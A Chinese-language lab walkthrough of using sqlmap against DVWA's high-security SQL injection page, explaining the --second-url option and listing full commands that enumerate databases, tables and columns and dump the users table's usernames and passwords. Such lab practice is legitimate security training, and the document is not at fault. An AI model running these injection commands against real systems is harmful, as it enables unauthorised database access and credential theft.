逻辑分析
记录使用sqlmap的过程,以dvwa为例,具体内容如下:
dvwa中sql注入高级界面如下显示:
其中数据提交的页面和查询结果显示的页面是分离成了2个不同的窗口控制的。即在查询提交窗口提交数据后(POST请求),结果的结果在另外一个窗口展示(GET请求)。
此时需要利用其非常规的命令联合操作,如:–second-url=“xxxurl”(设置二阶响应的结果显示页面的url)
利用SQLMap工具注入测试
命令解析:
–url=“查询数据提交时的页面的url”,或用-u “xxxurl”
–second-url=“显示查询结果页面的url”
构造SQLMap命令:
qlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch
执行结果如下:
1.获取数据库信息
sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch --dbs
2.获取当前数据库名称
sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch --current-db
3.获取MySQL数据库中的表
sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch -D dvwa --tables
4.获取user表中的字段
sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch -D dvwa -T users --columns
5.获取用户名和密码
sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch -D dvwa -T users -C user,password --dump